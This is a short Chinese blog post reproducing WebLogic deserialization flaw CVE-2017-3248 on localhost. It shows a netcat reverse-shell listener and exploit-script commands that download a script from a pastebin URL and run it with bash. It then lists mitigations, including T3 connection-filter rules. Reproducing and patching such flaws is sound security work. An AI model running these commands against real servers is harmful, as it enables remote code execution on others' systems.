1. 程式人生 > >WebLogic反序列化漏洞(CVE-2017-3248)

WebLogic反序列化漏洞(CVE-2017-3248)

使用Java 7和Java 8均可成功復現。
漏洞復現
先啟動weblogic(終端#1)
➜ base_domain ./startWebLogic.sh

在某埠監聽(接收反彈shell)
➜ ysoserial nc -klv 7777

Listening on [0.0.0.0] (family 0, port 7777)

使用exploit進行利用

➜ weblogic git:(master) python2 exploit-CVE-2017-3248-bobsecq.py -t 127.0.0.1 -p 7001 --jip 127.0.0.1 --jport 4444 --cmd “wget https://pastebin.com/raw/a98rTvAM

-O /tmp/shell” --ysopath /home/cqq/repos/ysoserial/ysoserial-master-v0.0.5-g16fc48b-20.jar
➜ weblogic git:(master) python2 exploit-CVE-2017-3248-bobsecq.py -t 127.0.0.1 -p 7001 --jip 127.0.0.1 --jport 4444 --cmd “/bin/bash /tmp/shell” --ysopath /home/cqq/repos/ysoserial/ysoserial-master-v0.0.5-g16fc48b-20.jar

解決方案:

  1. 升級 JDK 版本。由於 Java 在今年一月份以後更新了反序列化防禦介面,可以緩解反序列化漏洞的影響。
  2. 升級 WebLogic 、刪除不需要的頁面,清理不安全的第三方庫。
  3. 控制T3協議的訪問

此漏洞產生於WebLogic的T3服務,因此可通過控制T3協議的訪問來臨時阻斷針對該漏洞的攻擊。當開放WebLogic控制檯埠(預設為7001埠)時,T3服務會預設開啟。

具體操作:

(1)進入WebLogic控制檯,在base_domain的配置頁面中,進入“安全”選項卡頁面,點選“篩選器”,進入連線篩選器配置。
(2)在連線篩選器中輸入:weblogic.security.net.ConnectionFilterImpl,在連線篩選器規則中輸入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s協議的所有埠只允許本地訪問)。
(3)儲存後需重新啟動,規則方可生效。